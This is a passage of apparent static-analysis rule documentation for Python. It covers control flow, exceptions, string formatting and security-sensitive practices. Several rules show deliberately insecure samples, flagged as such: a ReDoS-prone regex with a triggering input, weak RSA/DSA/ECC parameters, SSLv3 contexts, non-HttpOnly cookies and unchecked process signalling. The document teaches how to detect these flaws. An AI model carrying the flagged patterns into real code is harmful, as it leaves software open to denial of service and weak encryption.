for line in fileinput.FileInput(['setup.py']):  # Ok
    print(line)

See:

Deprecated

This rule is deprecated, and will eventually be removed.

python:S1716

break and continue are unstructured control flow statements which make code harder to read. Additionally, more recent versions of Python raise a SyntaxError when modules containing break or continue outside of a loop are imported.

Therefore, these statements should not be used outside of loops.

Noncompliant Code Example

narg=len(sys.argv)
if narg == 1:
        print('@Usage: input_filename nelements nintervals')
        break

Compliant Solution

if narg == 1:
        print('@Usage: input_filename nelements nintervals')
        sys.exit()
python:S4828

Signalling processes is security-sensitive. It has led in the past to the following vulnerabilities:

* CVE-2009-0390

* CVE-2002-0839

* CVE-2008-1671

Sending signals without checking properly which process will receive it can cause a denial of service.

Ask Yourself Whether

* the PID of the process to which the signal will be sent is coming from an untrusted source. It could for example come from a world-writable file.

* users who are asking for the signal to be sent might not have the permission to send those signals.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

* If the signal is sent because of a user's request. Check that the user is allowed to send this signal. You can for example forbid it if the user doesn't own the process.

* Secure the source from which the process PID is read.

* Run the process sending the signals with minimal permissions.

Sensitive Code Example

import os

def send_signal(pid, sig, pgid):
    os.kill(pid, sig)  # Sensitive
    os.killpg(pgid, sig)  # Sensitive

See

* MITRE, CWE-283 - Unverified Ownership

python:S1717

Typically, backslashes are seen only as part of escape sequences. Therefore, the use of a backslash outside of a raw string or escape sequence looks suspiciously like a broken escape sequence.

Characters recognized as escape-able are: abfnrtvox\'"

Noncompliant Code Example

s = "Hello \world."
t = "Nice to \ meet you"
u = "Let's have \ lunch"

Compliant Solution

s = "Hello world."
t = "Nice to \\ meet you"
u = r"Let's have \ lunch"  // raw string

Deprecated

This rule is deprecated, and will eventually be removed.

python:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as (a+)+s will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following characters: *+{.

Example: (a+)*

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using.

Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Sensitive Code Example

Django

from django.core.validators import RegexValidator
from django.urls import re_path

RegexValidator('(a*)*b')  # Sensitive

def define_http_endpoint(view):
    re_path(r'^(a*)*b/$', view)  # Sensitive

re module

import re
from re import compile, match, search, fullmatch, split, findall, finditer, sub, subn


input = 'input string'
replacement = 'replacement'

re.compile('(a*)*b')  # Sensitive
re.match('(a*)*b', input)  # Sensitive
re.search('(a*)*b', input)  # Sensitive
re.fullmatch('(a*)*b', input)  # Sensitive
re.split('(a*)*b', input)  # Sensitive
re.findall('(a*)*b', input)  # Sensitive
re.finditer('(a*)*b',input)  # Sensitive
re.sub('(a*)*b', replacement, input)  # Sensitive
re.subn('(a*)*b', replacement, input)  # Sensitive

regex module

import regex
from regex import compile, match, search, fullmatch, split, findall, finditer, sub, subn, subf, subfn, splititer

input = 'input string'
replacement = 'replacement'

regex.subf('(a*)*b', replacement, input)  # Sensitive
regex.subfn('(a*)*b', replacement, input)  # Sensitive
regex.splititer('(a*)*b', input)  # Sensitive

regex.compile('(a*)*b')  # Sensitive
regex.match('(a*)*b', input)  # Sensitive
regex.search('(a*)*b', input)  # Sensitive
regex.fullmatch('(a*)*b', input)  # Sensitive
regex.split('(a*)*b', input)  # Sensitive
regex.findall('(a*)*b', input)  # Sensitive
regex.finditer('(a*)*b',input)  # Sensitive
regex.sub('(a*)*b', replacement, input)  # Sensitive
regex.subn('(a*)*b', replacement, input)  # Sensitive

Exceptions

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

python:S3330

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it's up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won't be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

  • the cookie is sensitive, used to authenticate the user, for instance a session-cookie
  • the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • By default the HttpOnly flag should be set to true for most of the cookies and it's mandatory for session / sensitive-security cookies.

Sensitive Code Example

Flask:

from flask import Response

@app.route('/')
def index():
    response = Response()
    response.set_cookie('key', 'value') # Sensitive
    return response

Compliant Solution

Flask:

from flask import Response

@app.route('/')
def index():
    response = Response()
    response.set_cookie('key', 'value', httponly=True) # Compliant
    return response

See

python:S5632

In Python 3, attempting to raise an object which does not derive from BaseException will raise a TypeError. In Python 2 it is possible to raise old-style classes but this shouldn't be done anymore in order to be compatible with Python 3.

If you are about to create a custom Exception class, note that custom exceptions should inherit from Exception, not BaseException. Exception allows people to catch all exceptions except the ones explicitly asking the interpreter to stop, such as KeyboardInterrupt and GeneratorExit which is not an error. See PEP 352 for more information.

This rule raises an issue when an object which doesn't derive from BaseException is raised.

Noncompliant Code Example

raise "Something went wrong"  # Noncompliant

class A:
    pass

raise A  # Noncompliant

Compliant Solution

class MyError(Exception):
    pass

raise MyError("Something went wrong")
raise MyError

See

* Python documentation - Errors and Exceptions

* PEP 352 - Required Superclass for Exceptions

python:S134

Nested if, for, while, try, and with statements are key ingredients for making what's known as "Spaghetti code". Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

The following code snippet illustrates this rule with the default threshold of 3.

  if condition1:           # Compliant - depth = 1
    # ...
    if condition2:         # Compliant - depth = 2
      # ...
      for i in range(10):  # Compliant - depth = 3, not exceeding the limit
        # ...
        if condition4:     # Non-Compliant - depth = 4
          if condition5:   # Depth = 5, exceeding the limit, but issues are only reported on depth = 4
            # ...
python:S4144

When two functions or methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Numerical and string literals are not taken into account.

Noncompliant Code Example

class MyClass:
    code = "bounteous"

    def calculate_code(self):
        self.do_the_thing()
        return self.__class__.code

    def get_name(self):  # Noncompliant
        self.do_the_thing()
        return self.__class__.code

    def do_the_thing(self):
        pass  # on purpose

Compliant Solution

class MyClass:
    code = "bounteous"

    def calculate_code(self):
        self.do_the_thing()
        return self.__class__.code

    def get_name(self):
        return self.calculate_code()

    def do_the_thing(self):
        pass  # on purpose

Exceptions

No issue will be raised on empty methods/functions and methods/functions with only one line of code.

python:S5756

In order to be callable, a python class should implement the __call__ method.

This rule raises an issue when a non-callable object is called.

Noncompliant Code Example

class MyClass:
    pass

myvar = MyClass()
myvar()  # Noncompliant

none_var = None
none_var()  # Noncompliant

Compliant Solution

class MyClass:
    def __call__(self):
        print("called")

myvar = MyClass()
myvar()

See

python:S4426

When generating cryptographic keys (or key pairs), it is important to use strong parameters. Key length, for instance, should provides enough entropy against brute-force attacks.

  • For RSA and DSA algorithms key size should be at least 2048 bits long
  • For ECC (elliptic curve cryptography) algorithms key size should be at least 224 bits long
  • For RSA public key exponent should be at least 65537.

This rule raises an issue when an RSA, DSA or ECC key-pair generator is initialized using weak parameters.

It supports the following libraries:

Noncompliant Code Example

from cryptography.hazmat.primitives.asymmetric import rsa, ec, dsa

dsa.generate_private_key(key_size=1024, backend=backend) # Noncompliant
rsa.generate_private_key(public_exponent=999, key_size=2048, backend=backend) # Noncompliant
ec.generate_private_key(curve=ec.SECT163R2, backend=backend)  # Noncompliant

Compliant Solution

from cryptography.hazmat.primitives.asymmetric import rsa, ec, dsa

dsa.generate_private_key(key_size=2048, backend=backend) # Compliant
rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=backend) # Compliant
ec.generate_private_key(curve=ec.SECT409R1, backend=backend) # Compliant

See

python:S2245

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

Ask Yourself Whether

  • the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
  • the function you use generates a value which can be predicted (pseudo-random).
  • the generated value is used multiple times.
  • an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Only use random number generators which are recommended by OWASP or any other trusted organization.
  • Use the generated random values only once.
  • You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

import random

random.getrandbits(1) # Sensitive
random.randint(0,9) # Sensitive
random.random()  # Sensitive

# the following functions are sadly used to generate salt by selecting characters in a string ex: "abcdefghijk"...
random.sample(['a', 'b'], 1)  # Sensitive
random.choice(['a', 'b'])  # Sensitive
random.choices(['a', 'b'])  # Sensitive

See

python:S5754

SystemExit is raised when sys.exit() is called. This exception is expected to propagate up until the application stops. It is ok to catch it when a clean-up is necessary but it should be raised again immediately.

A bare except: statement, i.e. an except without any exception class, is equivalent to except BaseException. Both statements will catch every exception, including SystemExit. It is recommended to catch instead a specific exception. If it is not possible, the exception should be raised again.

Note that it is also a good idea to reraise the KeyboardInterrupt exception.

This rule raises an issue when a bare except:, an except BaseException or an except SystemExit don't reraise the exception caught.

Noncompliant Code Example

try:
    open("foo.txt", "r")
except SystemExit:  # Noncompliant
    pass
except KeyboardInterrupt:  # No issue raised but be careful when you do this
    pass

try:
    open("bar.txt", "r")
except BaseException:  # Noncompliant
    pass
except:  # Noncompliant
    pass

Compliant Solution

try:
    open("foo.txt", "r")
except SystemExit:
    # clean-up
    raise
except KeyboardInterrupt:
    # clean-up
    raise

try:
    open("bar.txt", "r")
except BaseException as e:
    # clean-up
    raise e
except: # Noncompliant
    # clean-up
    raise

# or use a more specific exception

try:
    open("bar.txt", "r")
except FileNotFoundError:
    # process the exception

See

* PEP 352 - Required Superclass for Exceptions

* Python Documentation - Built-in exceptions

* Python Documentation - The try statement

* MITRE, CWE-391 - Unchecked Error Condition

python:S4423

Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure.

This rule raises an issue when an SSL/TLS context is created with an insecure protocol version, i.e. when one of the following constants is detected in the code:

  • OpenSSL.SSL.SSLv3_METHOD (Use instead OpenSSL.SSL.TLSv1_2_METHOD)
  • ssl.PROTOCOL_SSLv3 (Use instead ssl.PROTOCOL_TLSv1_2)

Protocol versions different from TLSv1.2 and TLSv1.3 are considered insecure.

Noncompliant Code Example

from OpenSSL import SSL

SSL.Context(SSL.SSLv3_METHOD)  # Noncompliant
import ssl

ssl.SSLContext(ssl.PROTOCOL_SSLv3) # Noncompliant

Compliant Solution

from OpenSSL import SSL

SSL.Context(SSL.TLSv1_2_METHOD)  # Compliant
import ssl

ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) # Compliant

See

python:S3457

Formatting strings, either with the % operator or str.format method, requires a valid string and arguments matching this string's replacement fields.

This also applies to loggers from the logging module. Internally they use %-formatting. The only difference is that they will log an error instead of raising an exception when provided arguments are invalid.

Formatted string literals, also called "f-strings", are generally simpler to use, and any syntax mistake will fail at compile time. However it is easy to forget curly braces and it won't raise any error.

This rule raises an issue when:

  • A string formatted with % will not return the expected string because some arguments are not used.
  • A string formatted with str.format will not return the expected string because some arguments are not used.
  • An "f-string" doesn't contain any replacement field, which probably means that some curly braces are missing.
  • Loggers will log an error because their message is not formatted properly.

Rule S2275 covers cases where formatting a string will raise an exception.

Noncompliant Code Example

"Error %(message)s" % {"message": "something failed", "extra": "some dead code"}  # Noncompliant. Remove the unused argument "extra" or add a replacement field.

"Error: User {} has not been able to access []".format("Alice", "MyFile")  # Noncompliant. Remove 1 unexpected argument or add a replacement field.

user = "Alice"
resource = "MyFile"
message = f"Error: User [user] has not been able to access [resource]"  # Noncompliant. Add replacement fields or use a normal string instead of an f-string.

import logging
logging.error("Error: User %s has not been able to access %s", "Alice")  # Noncompliant. Add 1 missing argument.

Compliant Solution

"Error %(message)s" % {"message": "something failed"}

"Error: User {} has not been able to access {}".format("Alice", "MyFile")

user = "Alice"
resource = "MyFile"
message = f"Error: User {user} has not been able to access {resource}"

import logging
logging.error("Error: User %s has not been able to access %s", "Alice", "MyFile")

See

python:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

ip = '192.168.12.42'
sock = socket.socket()
sock.bind((ip, 9090))

Compliant Solution

ip = config.get(section, ipAddress)
sock = socket.socket()
sock.bind((ip, 9090))

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

python:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

cryptography module

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305, AESGCM, AESCCM
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.ciphers import Cipher


def encrypt(key):
    Fernet(key)  # Sensitive
    ChaCha20Poly1305(key)  # Sensitive
    AESGCM(key)  # Sensitive
    AESCCM(key)  # Sensitive


private_key = rsa.generate_private_key()  # Sensitive


def encrypt2(algorithm, mode, backend):
    Cipher(algorithm, mode, backend)  # Sensitive

pynacl library

from nacl.public import Box
from nacl.secret import SecretBox


def public_encrypt(secret_key, public_key):
    Box(secret_key, public_key)  # Sensitive


def secret_encrypt(key):
    SecretBox(key)  # Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

python:S5781

A set cannot have two identical values. When a value is repeated in a set literal, only the last occurence will remain. Thus duplicate values should be either modified or removed.

This rule raises an issue when the same value is used multiple times as a value in a set literal.

Noncompliant Code Example

{"one", "two", "one"}  # Noncompliant

def func(a1, a2, a3):
    {a1, a2, a1}  # Noncompliant.

Compliant Solution

{"one", "two", "three"}

def func(a1, a2, a3):
    {a1, a2, a3}

See

python:S5780

A dictionary cannot have two values with the same key. When a key is repeated in a dictionary literal, only the last occurence will remain. Thus duplicate keys should be either modified or removed.

This rule raises an issue when the same value is used multiple times as a key in a dictionary literal.

Noncompliant Code Example

{"one": 1, "two": 2, "one": 3}  # Noncompliant

def func(a1, a2, a3):
    {a1: 1, a2: 2, a1: 3}  # Noncompliant.

Compliant Solution

{"one": 1, "two": 2, "three": 3}

def func(a1, a2, a3):
    {a1: 1, a2: 2, a3: 3}

See

python:S2712

Functions that use yield are known as "generators". Before Python 3.3, generators cannot return values. Similarly, functions that use return cannot use yield. Doing so will cause a SyntaxError.

Either upgrade your version of Python to a version >= 3.3, or don't use both return and yield in a function.

Noncompliant Code Example

def adder(n):
     num = 0
     while num < n:
         yield num
         num += 1
     return num  #Noncompliant
python:S1226

While it is technically correct to assign to parameters from within function bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters should be, if not treated as read-only, then at least read before reassignment.

Noncompliant Code Example

def foo(strings, param):
    param = 1  # NonCompliant
python:S5706

The special method __exit__ should only raise an exception when it fails. It should never raise the provided exception, it is the caller's responsibility.

Raising this exception will make the stack trace difficult to understand.

The __exit__ method can filter passed-in exceptions by simply returning True or False.

This rule raises an issue when:

  • an __exit__ method has a bare raise outside of an except block.
  • an __exit__ method raises the exception provided as parameter.

Noncompliant Code Example

class MyContextManager:
    def __enter__(self):
        return self
    def __exit__(self, *args):
        raise  # Noncompliant
        raise args[2]  # Noncompliant

class MyContextManager:
    def __enter__(self):
        return self
    def __exit__(self, exc_type, exc_value, traceback):
        raise exc_value # Noncompliant

Compliant Solution

class MyContextManager:
    def __enter__(self):
        return self
    def __exit__(self, exc_type, exc_value, traceback):
        # by default the function will return None, which is always False, and the exc_value will naturally raise.
        pass

class MyContextManager:
    def __enter__(self, stop_exceptions):
        return self
    def __exit__(self, *args):
        try:
            print("42")
        except:
            print("exception")
            raise  # No issue when raising another exception. The __exit__ method can fail and raise an exception
        raise MemoryError("No more memory")  # This is ok too.

See

python:S2711

yield and return only make sense in the context of functions. Using them outside a function raises a SyntaxError. To break out of a loop, use break instead.

Noncompliant Code Example

class MyClass:
    while True:
        return False #Noncompliant
python:S5549

When a function is called, it accepts only one value per parameter. Python interpreters will raise a SyntaxError when they see something like myfunction(a=1, a=2), but there are other cases which will only fail at runtime:

  • An argument is provided by value and position at the same time.
  • Some arguments are provided via unpacking and the same argument is provided twice.

This rule raises an issue when a function is called with multiple values for the same parameter.

Noncompliant Code Example

def func(a, b, c):
    return a * b * c

func(6, 93, 31, c=62) # Noncompliant: argument "c" is duplicated

params = {'c':31}
func(6, 93, 31, **params) # Noncompliant: argument "c" is duplicated
func(6, 93, c=62, **params) # Noncompliant: argument "c" is duplicated

Compliant Solution

def func(a, b, c):
    return a * b * c

print(func(c=31, b=93, a=6)) # Compliant
python:S3923

Having the same implementation in every branch of an if chain is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be an if chain at all.

Noncompliant Code Example

if b == 0:  # Noncompliant
    doOneMoreThing()
elif b == 1:
    doOneMoreThing()
else:
    doOneMoreThing()

b = 4 if a > 12 else 4  # Noncompliant

Exceptions

This rule does not apply to if chains without else-s.

if b == 0:  # no issue, this could have been done on purpose to make the code more readable
    doOneMoreThing()
elif b == 1:
    doOneMoreThing()
python:S5704

A bare raise statement, i.e. a raise with no exception provided, will re-raise the last active exception in the current scope. If no exception is active a RuntimeError is raised instead.

If the bare "raise" statement is in a finally block, it will only have an active exception to re-raise when an exception from the try block is not caught or when an exception is raised by an except or else block. Thus bare raise statements should not be relied upon in finally blocks. It is simpler to let the exception raise automatically.

This rule raises an issue when a bare raise statements is in a finally block.

Noncompliant Code Example

def foo(param):
    result = 0
    try:
        print("foo")
    except ValueError as e:
        pass
    else:
        if param:
            raise ValueError()
    finally:
        if param:
            raise  # Noncompliant. This will fail in some context.
        else:
            result = 1
    return result

Compliant Solution

def foo(param):
    result = 0
    try:
        print("foo")
    except ValueError as e:
        pass
    else:
        if param:
            raise ValueError()
    finally:
        if not param:
            result = 1
        # the exception will raise automatically
    return result

See

python:S5709

SystemExit is raised when sys.exit() is called. KeyboardInterrupt is raised when the user asks the program to stop by pressing interrupt keys. Both exceptions are expected to propagate up until the application stops.

In order to avoid catching SystemExit and KeyboardInterrupt by mistake PEP-352 created the root class BaseException from which SystemExit, KeyboardInterrupt and Exception derive. Thus developers can use except Exception: without preventing the software from stopping.

The GeneratorExit class also derives from BaseException as it is not really an error and is not supposed to be caught by user code.

As said in Python's documentation, user-defined exceptions are not supposed to inherit directly from BaseException. They should instead inherit from Exception or one of its subclasses.

This rule raises an issue when a class derives from one of the following exception classes: BaseException, KeyboardInterrupt, SystemExit or GeneratorExit.

Noncompliant Code Example

class MyException(BaseException):  # Noncompliant
    pass

class MyException(GeneratorExit):  # Noncompliant
    pass

class MyException(KeyboardInterrupt):  # Noncompliant
    pass

class MyException(SystemExit):  # Noncompliant
    pass

Compliant Solution

class MyException(Exception):
    pass

See

python:S2836

The else clause of a loop is skipped when a break is executed in this loop. In other words, a loop with an else but no break statement will always execute the else part (unless of course an exception is raised or return is used). If this is what the developer intended, it would be much simpler to have the else statement removed and its body unindented. Thus having a loop with an else and no break is most likely an error.

Noncompliant Code Example

from typing import List

def search_first_number_without_break(elements: List[str]):
    for elt in elements:
        if elt.isnumeric():
            return elt
    else:  # Noncompliant. This will be executed every time
        raise ValueError("List does not contain any number")

Compliant Solution

from typing import List

def search_first_number_with_break(elements: List[str]):
    for elt in elements:
        if elt.isnumeric():
            break
    else:
        raise ValueError("List does not contain any number")
    return elt

or

from typing import List

def search_first_number_without_else(elements: List[str]):
    for elt in elements:
        if elt.isnumeric():
            return elt
    raise ValueError("List does not contain any number")

See

python:OneStatementPerLine

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

if (True): print("hello")

Compliant Solution

if (True):
    print("hello")
python:S5828

The open builtin can open files in different modes, which are provided as a combination of characters. Using an invalid sequence of characters will at best make open fail, or worse, it will have an undefined behavior (ex: it might ignore some characters).

A valid mode:

  • should contain one and only one of the following characters: "r" (read), "w" (write), "a" (append), "x" (create).
  • should contain zero or one of the following characters: "t" (text), "b" (binary).
  • should contain zero or one "+" character (open for updating)
  • cannot contain "a", "w", "+", or "x" if "U" (universal newlines) is used. Note that "U" has no effect in python 3, it is deprecated and shouldn't be used anymore.

This rule raises an issue when an invalid "mode" is provided to the open builtin.

Noncompliant Code Example

# In python 3 the following fails
# In python 2.7.16 on MacOs, "open" will just ignore the "w" flag
with open("test.txt", "aw") as f:  # Noncompliant
    pass

Compliant Solution

with open("test.txt", "a") as f:
    pass

See

python:S5707

Exception chaining enables users to see if an exception was triggered by another exception (see PEP-3134). Exceptions are chained using either of the following syntax:

* raise NewException() from chained_exception

* new_exception.__cause__ = chained_exception

It is also possible to erase a chaining by setting new_exception.__cause__ = None or using except ... from None (see PEP-409).

Chaining will fail and raise a TypeError if something else than None or a valid exception, i.e. an instance of BaseException or of a subclass, is provided.

Noncompliant Code Example

class A:
    pass

try:
    raise ValueError("orig")
except ValueError as e:
    new_exc = TypeError("new")
    new_exc.__cause__ = A()  # Noncompliant
    raise new_exc

try:
    raise ValueError("orig")
except ValueError as e:
    raise TypeError("new") from "test"  # Noncompliant

Compliant Solution

try:
    raise ValueError("orig")
except ValueError as e:
    new_exc = TypeError("new")
    new_exc.__cause__ = None  # Ok
    raise new_exc

try:
    raise ValueError("orig")
except ValueError as e:
    new_exc = TypeError("new")
    new_exc.__cause__ = e  # Ok
    raise new_exc

try:
    raise ValueError("orig")
except ValueError as e:
    raise TypeError("new") from None  # Ok

try:
    raise ValueError("orig")
except ValueError as e:
    raise TypeError("new") from e  # Ok

See

* PEP 3134 – Exception Chaining and Embedded Tracebacks

* PEP 409 – Suppressing exception context

* PEP 352 - Required Superclass for Exceptions

* Python documentation - Built-in Exceptions

python:S5708

In Python 3, attempting to catch in an except statement an object which does not derive from BaseException will raise a TypeError. In Python 2 it is possible to raise old-style classes but this shouldn't be done anymore in order to be compatible with Python 3.

In order to catch multiple exceptions in an except statement, a tuple of exception classes should be provided.

If you are about to create a custom Exception class, note that custom exceptions should inherit from Exception, not BaseException. Exception allows people to catch all exceptions except the ones explicitly asking the interpreter to stop, such as KeyboardInterrupt and GeneratorExit which is not an error. See PEP 352 for more information.

This rule raises an issue when the expression used in an except statement is not a class deriving from BaseException nor a tuple of such classes.

Noncompliant Code Example

class CustomException:
    """An Invalid exception class."""

try:
    "a string" * 42
except CustomException:  # Noncompliant
    print("exception")
except (None, list()):  # Noncompliant * 2
    print("exception")

try:
    "a string" * 42
except [TypeError, ValueError]:  # Noncompliant. Lists are not accepted.
    print("exception")
except {TypeError, ValueError}:  # Noncompliant. Sets are not accepted.
    print("exception")

Compliant Solution

class MyError(Exception):
    pass

try:
    "a string" * 42
except (MyError, TypeError):
    print("exception")

See

python:S2275

Formatting strings, either with the % operator or str.format method, requires a valid string and arguments matching this string's replacement fields.

This rule raises an issue when formatting a string will raise an exception because the input string or arguments are invalid. Rule S3457 covers cases where no exception is raised and the resulting string is simply not formatted properly.

Noncompliant Code Example

print('Error code %d' % '42')  # Noncompliant. Replace this value with a number as %d requires.

print('User {1} is not allowed to perform this action'.format('Bob'))  # Noncompliant. Replacement field numbering should start at 0.

print('User {0} has not been able to access {}'.format('Alice', 'MyFile'))  # Noncompliant. Use only manual or only automatic field numbering, don't mix them.

print('User {a} has not been able to access {b}'.format(a='Alice'))  # Noncompliant. Provide a value for field "b".

Compliant Solution

print('Error code %d' % 42)

print('User {0} is not allowed to perform this action'.format('Bob'))

print('User {0} has not been able to access {1}'.format('Alice', 'MyFile'))

print('User {a} has not been able to access {b}'.format(a='Alice', b='MyFile'))

See

python:S1186

There are several reasons for a function or a method not to have a body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

def myfunc1(foo="Noncompliant"):
    pass

class MyClass:
    def mymethod1(self, foo="Noncompliant"):
        pass

Compliant Solution

def myfunc1():
    pass  # comment explaining why this function is empty

def myfunc2():
    raise NotImplementedError()

def myfunc3():
    """
    Docstring explaining why this function is empty.
    """

class MyClass:
    def mymethod1(self):
        pass  # comment explaining why this function is empty

    def mymethod2(self):
        raise NotImplementedError()

    def mymethod3(self):
        """
        Docstring explaining why this method is empty. Note that this is not recommended for classes
        which are meant to be subclassed.
        """

Exceptions

No issue will be raised when the empty method is abstract and meant to be overriden in a subclass, i.e. it is decorated with abc.abstractmethod, abc.abstractstaticmethod, abc.abstractclassmethod or abc.abstractproperty. Note however that these methods should normally have a docstring explaining how subclasses should implement these methods.

import abc

class MyAbstractClass(abc.ABC):
    @abc.abstractproperty
    def myproperty(self):
        pass

    @abc.abstractclassmethod
    def myclassmethod(cls):
        pass

    @abc.abstractmethod
    def mymethod(self):
        pass

    @abc.abstractstaticmethod
    def mystaticmethod():
        pass
python:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if condition1:
    if condition2:
        # ...

Compliant Solution

if condition1 and condition2:
    # ...
python:S5300

Sending emails is security-sensitive and can expose an application to a large range of vulnerabilities.

Information Exposure

Emails often contain sensitive information which might be exposed to an attacker if he can add an arbitrary address to the recipient list.

Spamming / Phishing

Malicious user can abuse email based feature to send spam or phishing content.

Dangerous Content Injection

Emails can contain HTML and JavaScript code, thus they can be used for XSS attacks.

Email Headers Injection

